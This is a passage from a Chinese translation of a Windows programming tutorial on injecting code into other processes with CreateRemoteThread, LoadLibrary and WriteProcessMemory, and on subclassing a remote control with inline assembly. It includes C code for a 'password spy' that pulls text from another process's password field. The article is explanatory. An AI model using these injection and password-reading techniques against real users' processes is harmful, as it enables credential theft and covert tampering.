等待远程线程结束（WaitForSingleObject），即等待LoadLibrary返回。也就是说当我们的DllMain（是以DLL_PROCESS_ATTACH为参数调用的）返回时远程线程也就立即结束了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 6． 取回远程线程的结束码（GetExitCodeThtread），即LoadLibrary的返回值――我们DLL加载后的基地址（HMODULE）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 7． 释放第2步分配的内存（VirtualFreeEx）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 8． 用CreateRemoteThread和FreeLibrary把DLL从远程进程中卸载。调用时传递第6步取得的HMODULE给FreeLibrary（通过CreateRemoteThread的lpParameter参数）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 9． 等待线程的结束（WaitSingleObject）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 同时，别忘了在最后关闭所有的句柄：第4、8步得到的线程句柄，第1步得到的远程进程句柄。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在我们看看LibSpy的部分代码，分析一下以上的步骤是任何实现的。为了简单起见，没有包含错误处理和支持Unicode的代码。\nHANDLE hThread;\nchar\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; szLibPath[_MAX_PATH];\u0026nbsp;\u0026nbsp; // \u0026#8220;LibSpy.dll\u0026#8221;的文件名\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // (包含全路径!);\nvoid*\u0026nbsp;\u0026nbsp;\u0026nbsp; pLibRemote;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // szLibPath 将要复制到地址\nDWORD\u0026nbsp;\u0026nbsp;\u0026nbsp; hLibModule;\u0026nbsp;\u0026nbsp;\u0026nbsp; //已加载的DLL的基地址（HMODULE）;\nHMODULE hKernel32 = ::GetModuleHandle(\u0026#8220;Kernel32\u0026#8221;);\n//初始化 szLibPath\n//\u0026#8230;\n// 1. 在远程进程中为szLibPath 分配内存\n// 2. 写szLibPath到分配的内存\npLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath),\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; MEM_COMMIT, PAGE_READWRITE );\n::WriteProcessMemory( hProcess, pLibRemote, (void*)szLibPath,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; sizeof(szLibPath), NULL );\n// 加载 \u0026#8220;LibSpy.dll\u0026#8221; 到远程进程\n// (通过 CreateRemoteThread \u0026amp; LoadLibrary)\nhThread = ::CreateRemoteThread( hProcess, NULL, 0,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; (LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8220;LoadLibraryA\u0026#8221; ),\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pLibRemote, 0, NULL );\n::WaitForSingleObject( hThread, INFINITE );\n//取得DLL的基地址\n::GetExitCodeThread( hThread, \u0026amp;hLibModule );\n//扫尾工作\n::CloseHandle( hThread );\n::VirtualFreeEx( hProcess, pLibRemote, sizeof(szLibPath), MEM_RELEASE );\n我们放在DllMain中的真正要注入的代码（比如为SendMessage）现在已经被执行了（由于DLL_PROCESS_ATTACH），所以现在可以把DLL从目的进程中卸载了。\n// 从目标进程卸载LibSpu.dll\n// (通过 CreateRemoteThread \u0026amp; FreeLibrary)\nhThread = ::CreateRemoteThread( hProcess, NULL, 0,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; (LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8220;FreeLibrary\u0026#8221; ),\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; (void*)hLibModule, 0, NULL );\n::WaitForSingleObject( hThread, INFINITE );\n// 扫尾工作\n::CloseHandle( hThread );\n进程间通讯\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 到目前为止，我们仅仅讨论了任何向远程进程注入DLL，然而，在多数情况下被注入的DLL需要和你的程序以某种方式通讯（记住，那个DLL是被映射到远程进程中的，而不是在你的本地程序中！）。以密码间谍为例：那个DLL需要知道包含了密码的的控件的句柄。很明显，这个句柄是不能在编译期间硬编码（hardcoded）进去的。同样，当DLL得到密码后，它也需要把密码发回我们的程序。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 幸运的是，这个问题有很多种解决方案：文件映射（Mapping），WM_COPYDATA，剪贴板等。还有一种非常便利的方法#pragma data_seg。这里我不想深入讨论因为它们在MSDN（看一下Interprocess Communications部分）或其他资料中都有很好的说明。我在LibSpy中使用的是#pragma data_seg。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 你可以在本文章的开头找到LibSpy及源代码的下载链接。\nⅢ.CreateRemoteThread和WriteProcessMemory技术\n示例程序：WinSpy\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 另一种注入代码到其他进程地址空间的方法是使用WriteProcessMemory API。这次你不用编写一个独立的DLL而是直接复制你的代码到远程进程（WriteProcessMemory）并用CreateRemoteThread执行之。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 让我们看一下CreateRemoteThread的声明：\nHANDLE CreateRemoteThread(\n\u0026nbsp;\u0026nbsp; HANDLE hProcess,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // handle to process to create thread in\n\u0026nbsp;\u0026nbsp; LPSECURITY_ATTRIBUTES lpThreadAttributes,\u0026nbsp;\u0026nbsp; // pointer to security\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // attributes\n\u0026nbsp;\u0026nbsp; DWORD dwStackSize,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // initial thread stack size, in bytes\n\u0026nbsp;\u0026nbsp; LPTHREAD_START_ROUTINE lpStartAddress,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // pointer to thread\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // function\n\u0026nbsp;\u0026nbsp; LPVOID lpParameter,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // argument for new thread\n\u0026nbsp;\u0026nbsp; DWORD dwCreationFlags,\u0026nbsp;\u0026nbsp; // creation flags\n\u0026nbsp;\u0026nbsp; LPDWORD lpThreadId\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // pointer to returned thread identifier\n);\n和CreateThread相比，有一下不同：\n●增加了hProcess参数。这是要在其中创建线程的进程的句柄。\n●CreateRemoteThread的lpStartAddress参数必须指向远程进程的地址空间中的函数。这个函数必须存在于远程进程中，所以我们不能简单地传递一个本地ThreadFucn的地址，我们必须把代码复制到远程进程。\n●同样，lpParameter参数指向的数据也必须存在于远程进程中，我们也必须复制它。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在，我们总结一下使用该技术的步骤：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1． 得到远程进程的HANDLE（OpenProcess）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2． 在远程进程中为要注入的数据分配内存（VirtualAllocEx）、\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3． 把初始化后的INJDATA结构复制到分配的内存中（WriteProcessMemory）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 4． 在远程进程中为要注入的数据分配内存（VirtualAllocEx）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 5． 把ThreadFunc复制到分配的内存中（WriteProcessMemory）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 6． 用CreateRemoteThread启动远程的ThreadFunc。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 7． 等待远程线程的结束（WaitForSingleObject）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 8． 从远程进程取回指执行结果（ReadProcessMemory 或 GetExitCodeThread）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 9． 释放第2、4步分配的内存（VirtualFreeEx）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 10． 关闭第6、1步打开打开的句柄。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 另外，编写ThreadFunc时必须遵守以下规则：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1． ThreadFunc不能调用除kernel32.dll和user32.dll之外动态库中的API函数。只有kernel32.dll和user32.dll（如果被加载）可以保证在本地和目的进程中的加载地址是一样的。（注意：user32并不一定被所有的Win32进程加载！）参考附录A。如果你需要调用其他库中的函数，在注入的代码中使用LoadLibrary和GetProcessAddress强制加载。如果由于某种原因，你需要的动态库已经被映射进了目的进程，你也可以使用GetMoudleHandle代替LoadLibrary。同样，如果你想在ThreadFunc中调用你自己的函数，那么就分别复制这些函数到远程进程并通过INJDATA把地址提供给ThreadFunc。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2． 不要使用static字符串。把所有的字符串提供INJDATA传递。为什么？编译器会把所有的静态字符串放在可执行文件的“.data”段，而仅仅在代码中保留它们的引用（即指针）。这样，远程进程中的ThreadFunc就会执行不存在的内存数据（至少没有在它自己的内存空间中）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3． 去掉编译器的/GZ编译选项。这个选项是默认的（看附录B）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 4． 要么把ThreadFunc和AfterThreadFunc声明为static，要么关闭编译器的“增量连接（incremental linking）”（看附录C）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 5． ThreadFunc中的局部变量总大小必须小于4k字节（看附录D）。注意，当degug编译时，这4k中大约有10个字节会被事先占用。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 6． 如果有多于3个switch分支的case语句，必须像下面这样分割开，或用if-else if代替：\nswitch( expression ) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case constant1: statement1; goto END;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case constant2: statement2; goto END;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case constant3: statement2; goto END;\n}\nswitch( expression ) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case constant4: statement4; goto END;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case constant5: statement5; goto END;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; case constant6: statement6; goto END;\n}\nEND:\n（参考附录E）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果你不按照这些游戏规则玩的话，你注定会使目的进程挂掉！记住，不要妄想远程进程中的任何数据会和你本地进程中的数据存放在相同内存地址！（参看附录F）\n（原话如此：You will almost certainly crash the target process if you don\u0026#8217;t play by those rules. Just remember: Don\u0026#8217;t assume anything in the target process is at the same address as it is in your process.）\nGetWindowTextRemote(A/W)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 所有取得远程edit中文本的工作都被封装进这个函数：GetWindowTextRemote(A/W)：\nint GetWindowTextRemoteA( HANDLE hProcess, HWND hWnd, LPSTR\u0026nbsp;\u0026nbsp; lpString );\nint GetWindowTextRemoteW( HANDLE hProcess, HWND hWnd, LPWSTR lpString );\n参数：\nhProcess 目的edit所在的进程句柄\nhWnd\n目的edit的句柄\nlpString\n接收字符串的缓冲\n返回值：\n成功复制的字符数。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 让我们看以下它的部分代码，特别是注入的数据和代码。为了简单起见，没有包含支持Unicode的代码。\nINJDATA\ntypedef LRESULT\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; (WINAPI *SENDMESSAGE)(HWND,UINT,WPARAM,LPARAM);\ntypedef struct {\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; HWND hwnd;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // handle to edit control\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; SENDMESSAGE\u0026nbsp;\u0026nbsp; fnSendMessage;\u0026nbsp;\u0026nbsp;\u0026nbsp; // pointer to user32!SendMessageA\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; char psText[128];\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // buffer that is to receive the password\n} INJDATA;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; INJDATA是要注入远程进程的数据。在把它的地址传递给SendMessageA之前，我们要先对它进行初始化。幸运的是unse32.dll在所有的进程中（如果被映射）总是被映射到相同的地址，所以SendMessageA的地址也总是相同的，这也保证了传递给远程进程的地址是有效的。\nThreadFunc\nstatic DWORD WINAPI ThreadFunc (INJDATA *pData) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pData-\u0026gt;fnSendMessage( pData-\u0026gt;hwnd, WM_GETTEXT,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 得到密码\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; sizeof(pData-\u0026gt;psText),\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; (LPARAM)pData-\u0026gt;psText );\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return 0;\n}\n// This function marks the memory address after ThreadFunc.\n// int cbCodeSize = (PBYTE) AfterThreadFunc \u0026#8211; (PBYTE) ThreadFunc.\nstatic void AfterThreadFunc (void)\n{\n}\nThreadFunc是远程线程实际执行的代码。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ●注意AfterThreadFunc是如何计算ThreadFunc的代码大小的。一般地，这不是最好的办法，因为编译器会改变你的函数中代码的顺序（比如它会把ThreadFunc放在AfterThreadFunc之后）。然而，你至少可以确定在同一个工程中，比如在我们的WinSpy工程中，你函数的顺序是固定的。如果有必要，你可以使用/ORDER连接选项，或者，用反汇编工具确定ThreadFunc的大小，这个也许会更好。\n如何用该技术子类（subclass）一个远程控件\n示例程序：InjectEx\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 让我们来讨论一个更复杂的问题：如何子类属于其他进程的一个控件？\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 首先，要完成这个任务，你必须复制两个函数到远程进程：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1． ThreadFunc，这个函数通过调用SetWindowLong API来子类远程进程中的控件，\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2． NewProc， 那个控件的新窗口过程（Window Procedure）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 然而，最主要的问题是如何传递数据到远程的NewProc。因为NewProc是一个回调（callback）函数，它必须符合特定的要求（译者注：这里指的主要是参数个数和类型），我们不能再简单地传递一个INJDATA的指针作为它的参数。幸运的我已经找到解决这个问题的方法，而且是两个，但是都要借助于汇编语言。我一直都努力避免使用汇编，但是这一次，我们逃不掉了，没有汇编不行的。\n解决方案1\n看下面的图片：\n不知道你是否注意到了，INJDATA紧挨着NewProc放在NewProc的前面？这样的话在编译期间NewProc就可以知道INJDATA的内存地址。更精确地说，它知道INJDATA相对于它自身地址的相对偏移，但是这并不是我们真正想要的。现在，NewProc看起来是这个样子：\nstatic LRESULT CALLBACK NewProc(\n\u0026nbsp;\u0026nbsp; HWND hwnd,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // handle to window\n\u0026nbsp;\u0026nbsp; UINT uMsg,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // message identifier\n\u0026nbsp;\u0026nbsp; WPARAM wParam,\u0026nbsp;\u0026nbsp;\u0026nbsp; // first message parameter\n\u0026nbsp;\u0026nbsp; LPARAM lParam )\u0026nbsp;\u0026nbsp; // second message parameter\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; INJDATA* pData = (INJDATA*) NewProc;\u0026nbsp;\u0026nbsp; // pData 指向\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // NewProc;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pData\u0026#8211;;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 现在pData指向INJDATA;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 记住，INJDATA 在远程进程中刚好位于 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // NewProc的紧前面;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 子类代码\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // \u0026#8230;\u0026#8230;..\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //调用用来的的窗口过程;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // fnOldProc (由SetWindowLong返回) 是被ThreadFunc（远程进程中的）初始化\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 并且存储在远程进程中的INJDATA里的;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return pData-\u0026gt;fnCallWindowProc( pData-\u0026gt;fnOldProc, \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; hwnd,uMsg,wParam,lParam );\n}\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 然而，还有一个问题，看第一行：\nINJDATA* pData = (INJDATA*) NewProc;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pData被硬编码为我们进程中NewProc的地址，但这是不对的。因为NewProc会被复制到远程进程，那样的话，这个地址就错了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 用C/C++没有办法解决这个问题，可以用内联的汇编来解决。看修改后的NewProc：\nstatic LRESULT CALLBACK NewProc(\n\u0026nbsp;\u0026nbsp; HWND hwnd,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // handle to window\n\u0026nbsp;\u0026nbsp; UINT uMsg,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // message identifier\n\u0026nbsp;\u0026nbsp; WPARAM wParam,\u0026nbsp;\u0026nbsp; // first message parameter\n\u0026nbsp;\u0026nbsp; LPARAM lParam ) // second message parameter\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 计算INJDATA 的地址;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 在远程进程中，INJDATA刚好在\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //NewProc的前面;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; INJDATA* pData;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; _asm {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; call\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; dummy\ndummy:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pop\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ecx\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // \u0026lt;- ECX 中存放当前的EIP\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; sub\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ecx, 9\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // \u0026lt;- ECX 中存放NewProc的地址\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pData, 